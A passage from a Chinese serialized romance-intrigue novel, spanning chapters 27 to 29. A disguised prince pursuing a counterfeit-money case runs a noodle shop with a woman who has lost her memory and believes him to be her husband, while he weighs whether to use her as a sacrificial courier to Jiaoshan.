诸人中唯独林元舆到目前为止，一言不发，额前后背倒是有不少冷汗。 今天听到约定时限从一个月跃升到四十九日时，他还对着殿下，长篇大论日久为患，那时候哪里晓得，主谋是胡忠恕的义子啊！ 那个姓杨的，胡忠恕曾当着殿下的面引荐给他。 哎呀呀害死他！ 林元舆掀袍下跪：“郎君，这事臣一点也不知情，臣也是来到润州，才与胡忠恕联系上。” 柳湛指在桌上轻叩，面上笑道：“我知。这事日后若官家问起，我自会代林公解释。” 林元舆仍躬身跪着，像一只狗，却拱手举得极高：“郎君且请放心，茶盐司是衙门的事，亦是老夫份内之事，老夫一定彻查，按律处置，法不容情，绝不漏一人一案！” “林公，”柳湛淡淡开口，林元舆赶紧应在。柳湛呷了口茶，才慢慢教林元舆如何暗中收网，末了，叮嘱：“下月己丑日前，不要打草惊蛇，可有记住？” “臣牢记，牢记。一定一定不负郎君所望！” 柳湛转而看向其他人：“大家也多做准备。” 言罢便起身离开，眼看就要出房门，蒋望回忽唤：“郎君！” 蒋望回瞅着柳湛，欲言又止，柳湛以为他还有什么隐秘要禀报，点了点下巴，示意跟上，其余人等见状也不敢多问，任由蒋望回一人追出门，赶上柳湛。 从走廊到楼下正堂，再出悦来店，蒋望回还跟着。 柳湛回身抬眼，脸上不复淡笑，而是一副“到底有什么话你说嘛”的活人表情。 蒋望回吞吞吐吐：“那己丑日后呢？” “去扬州，”柳湛叹一声气，“这不是你想问的吧？” 这个手下，扭扭捏捏，非要他挑明。 蒋望回唇嚅了再嚅：“人选还是萍娘子吗？” 这句却是柳湛意料之外，怔了下，回：“是。” 蒋望回阖唇，没了下文。 这就对了嘛，柳湛转身继续往前走，他和蒋望回从小一起长大，晓得他有妇人之仁，但权衡利弊，肯定还是妹妹重要。 至于萍萍，身为本朝子民，为民生奔赴焦山，也算是为国为民了。何况为了查案才勉强应承的女子，结案还留她在世上，岂不要叫天下人知晓曾与这低贱女子扮过夫妻？ 柳湛想起林元舆叨叨四十九日忒长。 的确长了些，按理伪。钞案查得越快越好，早一日结案，就能早一日返京。 他原先也是打算还价的，但后来改了主意。念着萍萍的铺子要四十日才开张，只有四十九日，她能瞧见汤饼店开张后的样子。 她毕生愿了，他也算仁至义尽了。 * 家中，萍萍发现自己又睡过头了。 这次比上回早醒一个时辰，但头更晕，无比胀疼，她下。床时眼前一黑，差点摔倒，得亏抓住床边挂幔帐的钩子才站稳。 “官人？” “官人？” 家不大，萍萍所有角落都找了一遍，却没有发现柳湛。 他是不是去买东西了？ 毕竟自己又快把白天睡过了，家务只能柳湛来料理。 萍萍心里那个愧疚，狠狠敲了下脑袋：事不过三，下会可不能再贪睡，记牢了！ 她脑子虽然疼，但记忆尚好，挂念碗柜里的五花肉要喂给流浪狗，不然坏了。萍萍去拿五花肉时，发现今日药还没煎，剩下最后一包药仍挂在墙上。 女医叮嘱过，这方子长期吃才能养好身子，她还想和官人长长久久呢，喂狗时正好途经药铺，要不顺路把药抓了？ 上回开的方子柳湛没有还给她，但不打紧，这不还有一包药么？到时候小二一瞧，就晓得要抓哪几味药了。 萍萍带着五花肉和药包去了铺子，还没认真找，只在附近走走，那只长毛犬就摇着尾巴站起，跑过来。 隔了一夜的肉和汤冻到一处，萍萍本来想帮他捣烂些，哪知碗一放下，流浪犬就吭哧吭哧，埋头啃，萍萍笑了笑：“你慢慢吃哦。” 她进铺子里瞧瞧，今日也打扫下。 等锁了铺子出来，准备去抓药，发现肉吃光了，汤汁都舔了一半，狗趴在碗边。 萍萍起先还在笑，不久觉出不对劲，它怎么一动不动，一直趴着？ 她蹲下来摸狗后背：“你怎么了？” 狗完全不应。 “完了该不会吃坏肚子了吧？”萍萍就想抱着狗去看看，忽听一声冰冷急促的厉喝：“你在这里作甚么？” 乍地响起，惹萍萍心头一慌，因为铺子临街，不断有人往来，她还以为是来了匪类，抬头一看竟是官人。 官人？！ 萍萍连忙站起，柳湛盯着她的手：“你手上拿的什么？” 手上？ 萍萍疑惑看过去，拿的药啊…… “我来瞧瞧铺子，顺道去抓药。”萍萍面朝柳湛，反手指狗：“不知道为什么，这狗吃了昨晚了红烧肉，就一直趴着起不 来了。” 柳湛急步近前捉起萍萍手腕，她听见他粗重的呼吸声。 嘶—— 官人掐得太用劲了，这个姿势她的胳膊还别着，疼、好疼……萍萍呲牙。柳湛明明一直盯着她的脸，却好像看不见她脸上的疼痛，手上力道不减。 铺子临街，不断有人路过，现下官人不对劲，她不想引起关注，因此央求得极轻：“官人，你掐疼我了，能不能先松开？” 第27章 第二十七章 桃花郎面 少倾， 柳湛才如梦初醒，缓张虎口，放开萍萍。 她揉了揉手腕：“官人你怎么了？” 虽然知道不该耿耿于怀， 却不由自主想起他上回斥她不知廉耻的事， 再一细忖， 方才柳湛脸上无笑，看向她的目光颇有些审视意味。 萍萍揉手的动作渐渐变慢，涌起一股自己也说不清的难过。 她先压下这些情绪， 挤出笑容：“你怎么也过来瞧铺子？” 柳湛已恢复往常笑意：“蒋兄上回说若是开了汤饼铺， 一定要通知他，我早上就去告诉他了， ”他放柔声音，似乎还有那么一两分羞赧，“然后跟你一样，心里老记挂着铺子，绕道过来。” 他嘴上说着，抬手再次探向萍萍手腕，萍萍胳膊本能一缩， 柳湛见状滞了滞， 须臾， 笑容更温柔：“方子在我那， 我明日去抓吧。” 萍萍伸回胳膊，任他把药包拿走，她回身蹲下：“快看看这只狗怎么样了？是不是红烧肉吃坏了？” 柳湛也随之蹲下。他想起灶台上干净的空盘子：“你昨晚留了肉？” “是啊， 我想着天冷应该能留一晚，还特意放碗柜里防耗子呢。” “人不觉得，但其实天已经渐渐热起来了。”柳湛睁眼说瞎话， 伸二指探流浪犬鼻息，忽抿着唇无声笑起，嘴角越扬越高。 萍萍睁大眼：“你笑什么？” 柳湛指放自己唇上，示意她噤声，而后凑近萍萍，在她耳边轻道：“它吃舒服了，睡着了。” 萍萍来润州路上，也曾数日流浪，饥寒交迫，后来吃道一碗热汤，舒服得倒头就睡。她感同身受，不疑作伪，忙点头——好好，别吵醒它。 萍萍不曾往某方面想，柳湛却因离得太近，不仅自己呼出的气息扑入她耳，也能感受到她肤上那一点点散发的热度。 阳光下，甚至连萍萍的汗毛都清晰可数。 柳湛原本规律的心跳突然变得紊乱。 这一霎他连自己都诓到，也觉得那狗定是红烧肉吃舒服了才睡觉，完全忘记蒙汗药的存在。他牵起萍萍退往街上，有车，伸臂护她：“我们走，别打扰它。” * 日子有盼头时过得颀快，指缝溜走，一恍就到汤饼店开张。 店铺两侧各挂一串红灯笼，店内墙上也贴着若干“开市大吉”，喜庆的鞭炮炸一节短一节，萍萍捂耳欢笑，柳湛伫立身边，时而看鞭炮时而瞥萍萍，既高兴，又要防着炮别炸到她身上。 噼里啪啦的响声刚止，柳湛和萍萍就对视一眼，一左一右合力拉下牌匾上的红绸，“三水汤饼”四个大字映入众人眼帘。 这名字他们之前商议过，那天萍萍在柳湛身后走来走去：“你没有姓我也没姓，只能取名里的……唉，刚好我们都有三点水，不如就叫三水汤饼？” 柳湛扭头侧身，反问：“我没有姓？” “我不记得有。”萍萍搓手，记忆里对他不是喊“官人”就是唤“阿湛”，“也许有，我忘了……” 柳湛噙笑：“我没有。” 萍萍又搓了下手，那她记的是对的。 “你也没有姓吗？”柳湛微微回身，目光移向桌上账目，汤饼铺的荤臊子打算就在朱方巷采买，那巷名也有一个方字。 “没有啊。”萍萍不假思索接话，“我记得和官人您说过，以前你还鼓励我……” “就叫三水汤饼吧。”柳湛打断她，终止了这场谈天。 …… 这会，他们揭完牌，柳湛又点了一挂鞭炮。 “恭喜恭喜！”街坊邻里都来祝贺。 萍萍逐一拱手：“谢谢大家，谢谢！” 街坊们可不仅仅只道喜，皆要在小店吃一碗。开张前萍柳二人提前擀好银丝面，三水汤饼卖的臊子不仅有鱼桐皮和笋泼肉面，还添小排。 食客比预估的要多，起先按照约定，萍萍接待，柳湛煮面，渐渐没了擀好的面，臊子也不够了，于是柳湛揽过接待的活，萍萍擦桌端碗间隙，赶着和面剁臊。人来人往，络绎不绝，谁也没留意街上一辆寻常马车路过。 一过三水汤饼，那车挑起的半指宽帘缝就落下。 车厢内，长随问端坐望外的裴小官人：“郎君不去吃碗面吗？” 裴小官人发现右袖压角，抬起来重新捋：“今日开市，何必惹她不快。” 长随是前两年跟裴小官人的，虽然不晓得前事，但主人绝对是个好人。 “郎君就是做人太善，才尽吃苦。”长随忿忿不平，裴小官人阖眼靠上墙，没有接话。 马车渐行渐远。 三水汤饼铺里，小“夫妻”仍在忙碌。 来吃面的但凡从灶前过，都给柳湛报出需求，柳湛一一记下，再回头望一眼看他们坐哪了。萍萍在旁边轧面，估摸好重量，均分到案板上摆的十来个空碗中。柳湛顺手拿起一碗银丝面煮进锅里，再将煮好的那碗鱼皮的添上臊子，推给萍萍：“四，戴垂脚幞头的。” 他俩给五张桌子编了号，四是左上角落里那张。 萍萍忙端给主顾，隔壁三号桌一行四人刚好吃完，她顺道擦桌、收碗，回案板边正洗，柳湛不回头，只口中吩咐：“切点葱。” 萍萍擦手动刀，给葱碗加满，随口问道：“小官人今日怎么没来？” 柳湛加葱：“哪个小官人？” “蒋兄。” “兴许忙，过几天来吧。”柳湛说着把煮好的面推给萍萍，“五，带孩童的娘子。” 萍萍端面去店外那桌，为了节省时间，回店一路小跑，经过灶台时柳湛明明眼睛盯着锅里的面、手上的碗，口中却道：“小心一点。” 萍萍笑，她看银丝面又用掉大半，主动和起面来。 二人一直忙到夕阳西下，没了客人才收摊。 理完账后回家，萍萍边走边同柳湛喜道：“比我预估的多赚三成，看来之后得多进些面粉，鱼皮不变，笋和小排要再加购。” 柳湛点头，账他也有过目，萍萍安排不差。 他从前偶尔出宫，在东京光顾汤饼铺子，看店主人煮面，以为平常。现在自己亲力亲为，才晓得看事容易做事苦，最忙的巳至未时，连一口水都没时间喝，而赚到的钱，远比他以为的少。 体恤民生不易，柳湛不禁同萍萍轻道：“你辛苦了。” 走得好好的萍萍一愣：“怎么突然客气……” 天在这刹那变黑，前方的路暗下来，萍萍旋即挽住柳湛胳膊。 二人相携归家，要绕过肉铺进入纵巷，却发现肉铺附近围着七、八身影，或蹲或靠，或踱步。 往常有过这样的事情，不待那些黑影开口，萍萍已自有了五分数。 “萍娘子回来了！”囔囔的男子借着灯笼光能辨认出，是这家肉铺的少东家。 七、八黑影朝萍萍快速聚拢，都是同住这条深巷里，白天去汤饼店捧过场的街坊。 当中胡娘子一手提灯，一手拧两小坛酒，朝萍萍扬了扬：“晓得你们忙，所以等到现在才庆祝。” 柳湛留意到人人手上皆抱坛子，能嗅到酒味，看样子是想找他喝一场。 纵然人群中没有张屠及其手下，柳湛也不会喝的。他觑了眼萍萍，却出乎意料见她应好，快步上前，接过一坛胡娘子的酒，和另一坛碰了碰。二女都仰头喝下一大口。 灯笼摆动，光也摇曳，柳湛晃悠悠瞧见萍萍嘴角漏下的酒珠。 他蹙眉，杀猪巷里住的女人，个个豪放？ “兄弟，喝酒！”男人们已经围上来，一只胳膊勉强能兜住的大坛直往柳湛身前送。她不提，他 只好自己开口：“这么晚了，诸位小哥还不歇息？亥时就得上工吧？” 屠户们大大咧咧：“唉——这大喜的日子谁睡呀，等下直接开张！” 萍萍也回头笑道：“官人你有所不知，我们这条小巷子里，只要有喜事，大伙都会聚着庆贺，喝点小酒。” 柳湛眉头仍锁，什么庆贺，就是一群酒鬼找个理由酗酒。 萍萍看出柳湛为难，折返挡到他身前：“要让诸位失望了，我官人喝不得酒。” “怎么喝不得嘛！” 萍萍记忆里自己酒量一般，阿湛的酒量却不赖，她撒谎时止不住眨眼：“他一喝就不舒服。” 众人仍围着不信，萍萍便含笑主动揽过那只大坛：“这样，我代官人喝了，行不？今夜不醉不归？” 说着她就拔塞仰脖，一个劲的吞，直到快呛到才停止。 “你这都已经喝了我们能说什么？”街坊们无奈。 萍萍冲众人笑笑，单手抹去唇边漏出来的酒，再次仰头，痛饮第二口，这回真呛着了：“咳、咳！” 柳湛原本打算就让她喝光，却又于心不忍。他忖，萍萍喝了这么久，除了着急呛着，别无它事，那这酒应该没毒，遂夺过她的酒坛：“你别喝了，剩下的我喝。” 众人一片起哄声。 柳湛提起酒坛时另一手同时抬起，袖子掩住嘴和酒坛相接处。 “唉唉唉，遮着做什么？不会趁我们瞧不见，把酒倒袖子里吧？” “没有。”柳湛抬的那只袖里正好无剑，可以展示给他们看。这点酒还不至于作弊，还是不放心，刚用袖袋里的碎银试毒。 无毒。 柳湛这才一口入喉，旋即蹙眉——酒比预想的更劣，口感异常辛辣，但好在只是劣，却不烈，应该比宫里的酒还不容易醉。 柳湛心里有数后，一饮而尽，还将酒坛反扣，展示一滴不剩，赢得满堂喝彩。萍萍微笑瞧着，今夜，不对，今天，记忆里的官人好像回来了。 柳湛余光扫见她看自己，回以一笑。 他从胡娘子那要来萍萍还没喝完的小坛，代她喝尽。 无事，柳湛笃定默道。 然后到家门口萍萍还在开锁，他就觉脚步虚浮。 这劣酒后劲忒大，现在上来了。 萍萍开门柳湛跟着跨入，几分发晕欲抬手扶额，却见萍萍反锁好门回身看他，柳湛的手就没抬起来。 萍萍今晚喝的也比往常多，风一吹微醺，脚下搀了两搀，不可控仰面，却发现漫天繁星，仿佛天宫打散了水晶帘。 萍萍不知不觉睁大杏眼，驻足凝望，她想和柳湛分享：“官人，你要不要来看星星？” 柳湛已经推开卧房门，闻声摇头，都快显露醉态了还看什么风花雪月？他站在门口，朝她招手：“早点过来睡了，明天还要煮面。” 说罢自己摇摇摆摆，朝床走去，柳湛刚坐上床沿，听话来睡的萍萍就跌跌绊绊扑过来，柳湛伸臂把她兜住，拥在怀中。 萍萍醉眼惺忪，心里也迷迷糊糊，但她确定在官人眼里看见了自己的倒影，那眸中水波流动，官人还是喜欢她的，哪怕之前凶他好几次，哪怕偶尔冷漠。 萍萍有些想哭，回抱住柳湛：“官人我真喜欢你。” 半晌，她抬头，立刻就说：“你脸红了。”她继续直勾勾盯着他的脸，径直伸指在柳湛左颊上画：“我以前听人说，前朝什么莲花郎面，我家官人却是桃花郎面。” 柳湛看她咧嘴的样子，微微摇头——他两颊泛红那是因为喝醉。 “说什么胡话呢。”他轻声斥她，却没有不允她继续画，哪怕面颊痒痒，也没捉开萍萍的手，只搂着道：“好了好了睡觉了。” 说着就往下躺，似乎完全没意识到怀里还多个萍萍。她被带着一道倒上。床，压着他，然后咕咚滚进里边。 两个人都顷刻睡着。 不知过了多久，柳湛察觉腹上一重，又是腿对吧？他看也不看，摸黑捉她的脚踝，怎么摸不着？ 难不成睡了这会自己酒还没醒？ 柳湛坐起身找，萍萍小腿搁在他大。腿偏上，因着落差和醉酒，裙撩裤坠，她露出一截光洁白净小腿，腿腹微微凸起，那只脚踝却又极细，脚也好看，趾长隐约见青筋。 一股热流倏涌上，柳湛心头发烫，一定是醉意又起来了，人才发昏，竟鬼使神差，继续捉住萍萍脚踝。 掐住那一霎柳湛心乱跳不停，最最怕她现在醒了。 他万分忐忑，却贪恋更甚，竟侧首从下往上扫，目光到萍萍的唇才定住——这人丰腴，嘴唇也不薄，红润欲滴，比脚还好看。 他不禁回味起上回学煮面时的那个吻。 柳湛呼吸加重，自己也知道，勉力抑制，呼吸却越来越重，几近于喘。他一只手仍捉着萍萍脚踝，另一只手撑着床，上身寸寸俯下，心跳得太快了，感觉随时都会从胸腔里蹦出来，柳湛不得不腾出撑床的那只手，捂住胸口。这做贼的滋味可真不好受，却还是不受控，唇一点点凑向萍萍红唇…… 第28章 第二十八章 习惯而已，戒掉就好了………… 约莫只隔着一根手指的距离， 他骤然惊醒，浑身冰凉。 柳湛急匆匆下床，逃离卧房。 萍萍是被外头的响动吵醒的， 睁眼望见月亮仍挂夜空。 身边空空， 官人不在房中。 她便找了出去， 没走多远，就眺见柳湛赤膊立在井边，打一桶冷水， 从头浇下。 他的青丝散乱， 碎发和裤子都紧紧黏着肌肤，萍萍记得还未倒水时， 周围地上就已有一大滩水，之前他应该已经浇了好些次。 “官人你怎么了？”萍萍边靠近边问，“夜深露重，我去给你拿件干衣裳。” 她说着就要折返房中，柳湛却喊：“萍萍。” 她定住。 他早察觉她的脚步，知道她就在自己身后，却不回头， 只盯地面， 胸前的水珠一顺滚下。他总有一天会离开， 要是不告而别， 这个傻女人会像之前那样一直等下去。 柳湛回头，笑意全无，一脸冷漠。 萍萍对上柳湛视线， 顷刻愣住。 她从来没有见过这样的官人，像月亮下的井水，冰凉没有温度， 双眸里清晰没有她。 柳湛语气也冰冷：“我昨晚喝醉了。” 醉后的事情不算数。 “你有没有想过找错了人？”柳湛彻底转过身来，面向萍萍，“也许真错了，我认识一些官府的人，他们可以帮忙寻找你的夫君，会快些。” 井水的寒气似乎侵袭到萍萍身上，她情不自禁颤抖：他怎么突然这样说？他怎么能这样…… 柳湛脑子很少这么迟钝，缓了好一会，才悠悠想起，不对啊，她是要去焦山的。那、那些认错不认错，又何必说？那些忧虑分别，又何必想？ 他在犯什么糊涂，一夜许多思量，却将最终的安排抛掷脑后，完全忘记。 柳湛垂首勾唇，无声自嘲。俄顷，他再抬首向萍萍时，面色已重新恢复柔和，挂着浅淡笑意。 “我刚才酒没醒彻底，在说胡话，”他轻言慢语，温柔又礼貌，“你别见谅。” 萍萍见寻常的官人又回来了，也松口气，冲他笑笑。 没想到现在的官人发起酒疯是这样的，差点吓哭她。 柳湛倚井笑问：“你还想去焦山吗？” “想啊，一直都想……”萍萍瘪嘴，“可铺子才开张，哪有时间。” “人要能逸能劳，做做歇歇并不为过。我们开八天铺子，然后歇一天去焦山玩，好不好？” 萍萍刚要应好，就听柳湛续道：“正好希颜有货要送去焦山，他自己又抽不开身，到时候我们帮他捎带下。” 少倾，萍萍应允：“哦……好。” 天上云来月走，星辰隐没在黑雾中。 * 三月，戊子日。 三水汤饼铺。 酉时一刻，日头昏昏，却仍有不少食客排在柳湛灶台前，依序点单：“我要笋泼肉的，大碗 ！” “我也要两大碗，小排面能加笋泼么？” “能。”柳湛口中应声，手上不停。煮一碗面的时间，可以点七、八单，需要将食客的需求先记入脑中，再逐煮面、送上。 前人走了后人来，直到身穿绾色圆领袍，肩挎包袱的蒋望回出现在柳湛面前。 四目相对，蒋望回担心后面食客催，须臾便开口：“看着下一碗” 不敢要求殿下，殿下煮什么面都好吃。 若非人多眼杂，柳湛都想白蒋望回一眼。笋泼肉卖得最好，他打算给蒋望回加笋泼肉的臊子，蒋望回却发现案上鱼皮的臊子剩得最多，方才排他前面的食客没有一位点鱼皮，遂急忙改口：“要鱼皮的吧。” 柳湛无语，大勺调个方向，转舀鱼皮，盛完了把碗递给蒋望回：“尝尝我的手艺。” 蒋望回点头，端碗自行往里走，背身擦桌的萍萍此时才转过身来，发现蒋望回。她笑着走近，蒋望回却急忙伸胳膊挡在两人中间：“当心别烫着。” 萍萍愣了下，点点头，蒋望回侧身离她远点，端碗去空桌，萍萍见状忙绕半圈，又去擦一边他要坐的桌子。 “小心烫。”蒋望回再次提醒，等萍萍退远些，他才把碗放到桌上，自己掀袍落座。萍萍走过来，可刚到桌边，就跃过蒋望回肩头，眺见柳湛手边的葱碗快见底了。 萍萍按了下蒋望回身边桌角：“你先吃着，我待会来。” 萍萍一阵风似转去切葱，再折返回来时，手上多了一碟切成扇面的酱萝卜。 “自家腌的。”她将酱菜碟推到蒋望回碗边，在他对面坐下，“我们这酱菜偏甜，不晓得你吃不吃得惯。” 蒋望回还没开始动筷子，闻言立马拾箸先夹一筷萝卜，吃完才道：“娘子手艺极佳。” 萍萍后仰，小官人说话文绉绉，她笑：“小官人，谢谢您来捧场。” 蒋望回旋即回：“客气客气，之前承诺过，哪能食言。” 其实是柳湛特意打招呼让他来一趟。 然后他就拖到最后一天。 萍萍没再开口，蒋望回有些尴尬，不知再说什么才不冷场，他放下筷子，手搭到腿上，说什么呢……刚琢磨好，就听隔壁那桌食客闹起意见，大声嘟囔：“我都说了两碗不要辣子，不要辣子！你们怎么还放？” 萍萍起身，蒋望回也跟着站起，赶到对面，俩食客点的都是排骨和笋泼肉双浇头的大碗，银丝上正飘几滴辣油。 “二位大官人消消气。”萍萍赔笑鞠躬，她和柳湛商议过，润州人吃辣少，不特意加辣子，只有主顾要求才额外加。 是不是食客太多，阿湛记混淆了？ 萍萍扭头去找柳湛，立马对上他的目光，柳湛摇头，记得清清楚楚，这两人千叮万嘱要加辣子。 故意闹事。 许是这些天太红火，抢了谁的生意？ 柳湛瞥蒋望回一眼，蒋望回点头，明白，待会就去查这附近的汤饼店。 萍萍已经回过头去，笑着问俩食客：“这个……你们当时……有说要辣子吗？” “怎么，你的意思是我们自己要求的？” “反怪到我们头上？” 俩食客语调突高，伸手要掀桌。 可掀不得！且不说面汤滚烫，这打起来把家具打烂，食客全吓跑，再传出去，三水汤饼开业不足十天就干架……萍萍急着要去按桌子，柳湛却将她往身后一拉，自己和蒋望回一左一右，按住方桌。 俩食客使出吃奶的劲搬，纹丝不动。 “官人。”萍萍拉柳湛袖子，别打起来，会砸坏店。 柳湛反手抚了下萍萍手背，放心，不会。他旋起嘴角，同那俩食客和气道：“莫生气，是我记错了，给你们重煮两碗。” “不要了！”食客却尖锐拒绝，几跳起来。方才柳蒋二人出手不一般，他们虽然是拿钱闹事的，但没想真打起来：“这一碗都弄错了还要第二碗作甚？晦气！” 俩食客拂袖撤离。 柳湛端起两碗面准备倒掉，萍萍拦住：“唉，别倒。” 这里面有肉、笋、排骨，她舍不得，反正那俩食客又没动筷子，“留着我晚上吃。” 蒋望回闻言瞟向自己那碗，也没动过筷，萍娘子若不能吃辣，或者更想吃鱼皮，可以换他那碗，他来吃辣的。 蒋望回张嘴又合上，不知如何出口。 柳湛瞥了眼蒋望回面碗面上游葱，不做理会。 反正现在也没新的食客，柳湛到灶前抽一双尖端镶银的木筷，坐回桌边，先对齐筷尖，然后开始在银丝面里挑挑捡捡，辣油不管，只把葱一颗颗挑出碗外。 萍萍瞬间明白，心花怒放。 她在柳湛身边蹲下，下巴搁到桌上，指另外一只未挑的碗，明知故问：“那这一碗要挑葱吗？” “不挑。” “那谁吃？” “我吃。”柳湛语气平淡，手上却仔细，挑完全部葱，才抬起头，把无葱的那碗推到萍萍面前。萍萍改蹲为坐，夹起一筷子面，突然想起蒋望回还在旁边，就笑着招手：“小官人要不也端过来一起吃？” 蒋望回已经伫立许久，看她笑靥如花，身边柳湛金相玉质，一对璧人，他一个外人说什么话也插不进去。 蒋望回缓缓回神：“哦，好。” 他从隔壁桌端来鱼皮面，刚坐下，萍萍就又问：“小官人，你今天能有空来我们这，明天怎么就不能去焦山？” 蒋望回放下抬到一半，原本打算执箸的手。萍萍以为唐突，诚恳点了点下巴：“你是不是生气啦？生气我不问了，给你道歉！” 蒋望回赶紧回道：“没有生气，我知道娘子没有恶意。”他来之前和柳湛对过说辞，“今晚我就要离开润州。这里包袱还托萍娘子明日带去焦山，到码头遇见执‘末色’扇的人，可交易。” 蒋望回卸下肩上包袱，放到桌上。 “原来如此。”萍萍恍然大悟，“小官人是官人的朋友，那便也是我的朋友，且请放心，托付一定带到。” 她没拿包袱，反而走向案板，掀底下的帘子翻出一坛酒并三只酒杯，这才笑吟吟回来：“既然今夜要走，这一杯就是奴的践行酒，敬小官人。” 柳湛眼皮一跳：“少喝点酒吧。” 劝萍萍也劝蒋望回，反正他自己不会再喝了。 “店主人，面还卖不？”外头有人吆喝，柳湛见状起身，正好避开喝酒：“来了——” 他去灶边煮面，这厢萍萍诚诚恳恳，蒋望回一板一眼，执杯隔空一拱，先后饮下。而后，萍萍伸手去拿包袱，没想到这么重，她明显手沉了下，脸上不掩诧异。蒋望回瞧在眼里，托住包袱道：“先放我这吧，走之前再给你。” “我能问问这包袱里是什么吗？这么重。” 蒋望回顿了顿，极轻声道：“你回去后可以打开看下。” 又新来好几食客，点单声大，加之煮面沸水，萍萍离蒋望回这么近，也听得模糊。她点了点头：“吃面吧，你还一口都没吃。” 这人才是真恪守食不言，睡不语。萍萍笑看向蒋望回，蒋望回发现自己心中的纪律被看破，忽觉轻松，咧嘴回以一笑。 他吃完面没急着走，等柳湛和萍萍收摊，帮着打扫收拾，出铺子后仍同行了一段路。临到分别，蒋望回才卸下包袱，递给柳湛。 柳湛瞥一眼，接过，与萍萍归家。 他去温药，萍萍则将包袱收到矮柜上，想起蒋望回说可以看一眼，就解开布结。包袱里一只沉甸甸木箱，掀盖满目金灿，萍萍呆了一会，上手抚摸，才敢确定这是一箱金锭。 她心乱跳。 “官人快来，官人！” 柳湛从厨房过来，口中道：“药温好了。” “快过来！”萍萍将他拉到矮柜前，“这是一箱金子，乖乖隆地咚！” “谁让你打开的？”柳湛沉声。 “蒋小官人说可以打开看看。” 柳湛蹙眉，他怎么没 听到蒋望回这么说，更像萍萍好奇编造。 但萍萍看过来时，柳湛面上还是扮出讶异。 知道包袱里全是金子以后，萍萍不敢把它放到矮柜上了，晚上抱着包袱睡觉，柳湛无奈：“不至于。” “这太贵重了！”萍萍躺着回他，“受人之托忠人之事，我可不能给蒋小官人弄丢了。” 柳湛原先背对萍萍，翻个身来问：“你有时候说的话，不像你。” 卖洗面汤的娘子没这么文绉绉。 “以前的你教我的啊！” 柳湛莞尔，重转过去背对萍萍，到了晚上他睡不踏实，抿唇又抿唇，睫毛颤了再颤，总觉隐约难受。至半夜，终于想明白了——今晚萍萍没把腿搭上来。 柳湛翻身睁眼，见萍萍腿搭在包袱上。 他正准备笑，外头一声猫叫，忽地没由来就想：明日之后，是不是再没有她搭腿了？ “喵——”初春的野猫再嚎一声，叫得柳湛心里发慌，像长指甲挠青石板。 他稳了半晌，告诉自己这只是一种习惯，慢慢戒掉就好了，转身再次背对萍萍，闭起眼睛，呼吸均匀。 良久，柳湛胸脯微微起伏，缓睁两眼，几无声音辗转，面无表情，静静凝视萍萍睡颜。 他直睁眼看到亥时一刻——这个点夜幕幽黑，朱方巷的住户尚未起。床，他和蒋望回约在此刻见面。 柳湛跃过院墙，蒋望回就伫在没有月光的幽暗角落，柳湛一到，蒋望回便垂首禀报：“郎君，林公那边今晨收网。” “告诉他事到关键，更不可大意轻心，事前加慎，事后不悔。” “属下一定把话带到。” “你呢？” “郎君且请放心，到时候山上听从号令，绝无差池！” “好。”柳湛颔首，蒋望回启唇，正要请示没别的事就去给林元舆传话了，柳湛却吩咐：“明天多备一艘船。” 蒋望回愣怔，挑眉分唇。 柳湛低头：“我想跟在她后面。” 他改变主意，不想她死了。 第29章 第二十九章 不该 他已经想通了， 朱方巷、三水汤饼，那么多人晓得他和萍萍的事，杀一个萍萍有何用？ 防民之口甚于防川， 堵不如疏。 柳湛抬头吩咐蒋望回：“等案子结了， 你去吏部翻翻卷宗， 看有没有年纪三、五十，姓方的，不局京官。” 蒋望回唇合了又张。 柳湛续道：“最好江南籍贯。” 片刻沉默， 蒋望回把三品以上的簪缨门第都过了一遍， 才回道：“那就只有方少保和观文殿的方学士了。” “用不着重金兼紫，”柳湛轻笑， 一个东宫御侍不需要娘家如此容显，“八、九品即可。” 蒋望回面露不解：“郎君既决意娶萍娘子，不该为她寻一门能撑腰的娘家？” “娶？”柳湛听到天大的笑话，“希颜，你怎么脑子如此糊涂！待会还能成事么？林公那边真有通传明白？前些天给我的碑林图，没错漏吧？” 这一霎柳湛将萍萍抛掷脑后，只担心蒋望回状况不对， 或患热病， 耽误他成事。 少倾， 蒋望回迟缓嗫嚅：“属下方才忽犯迷糊……一时失言， 恳请郎君责罚！” 柳湛抬抬手，还不至于这点事就罚他，又问林元舆及焦山各处可真妥当了？ 蒋望回埋首重复：“郎君放心， 绝无差池！” 翌日。 出门后，萍萍担心金子重，柳湛背久受累， 在朱方巷口招手拦车。 柳湛一回想那长车就头大，拦住道：“太远了，别坐长车了，我来雇一辆。” 说话间，长车停至二人身边，车夫问道：“坐不坐？” 萍萍心里疑惑，焦山远吗？比金山还近些呀！ 但她还是依从夫君，同车夫赔笑：“对不住，对不住，我们暂时不坐了。” “驾！”车夫扬起马鞭，长车驶远。柳湛看也不看，牵起萍萍的手往前走，记得前面有家车行。 萍萍一团雾水，直到亲眼瞧见柳湛挑了一辆黑马油亮，车厢宽大的马车，缎面门帘，左右甚至挂了灯笼。 萍萍赶紧把柳湛拉远些，确保店主人听不到，才附耳急道：“这肯定很贵的！” 柳湛只觉耳朵痒痒，笑道：“我有钱。” 他结了账，马夫来放脚凳，萍萍踮脚踩在脚凳上，差一点就想缩回去，柳湛噙笑，扶她钻进车厢。 这内壁甚至有漆绘！ 萍萍难以置信，指尖小心翼翼触了一下那绘画的乐伎，柳湛笑问：“你很少坐这样的车？” “没坐过。”萍萍认真过了一遍回忆，也没有。 柳湛便想日后若带她同坐步辇，岂不要惊得眼珠子掉下来？ “官人你今天好像不一样。”萍萍突然说。 “有何不一样？”柳湛深深看向萍萍，说来今日过后，她才是不一样了，衔巢泥燕一朝跃枝作凤凰，富贵无边，光彩门户，非她所能想象。 柳湛抿了下唇。 萍萍完全不知柳湛所思所想，仍担忧追问：“你没犯法吧？” “没有。” “你保证？” 得了泼天机缘，她不知道惜福感恩，还在这里喋喋不休，柳湛微觉不耐，捉住萍萍的手：“好了，好了，我保证。” 他边说边挑起窗帘，远处江上雾绕，焦山高耸，犹如浮玉，和窗前萍萍的鹅黄衫秋香裙相得益彰。 萍萍惊呼：“焦山要到了。” “停车。”柳湛吩咐马夫。 车刚停稳，他就挑帘钻出车厢。 虽然不知道为何要在此处下车，但萍萍还是选择跟随，她发现柳湛没拿包袱，便自个背起来，反正不远了，她也该分担一段路。 柳湛瞥见她肩头的包袱，背过身去。 二人并排往码头走，些许闲话，柳湛只字不提包袱的事，离码头还有七、八步路，就听江上一梢公喊：“还有要去焦山的吗？” 梢公撑着杆，已经调转船头，有随时发船的迹象。 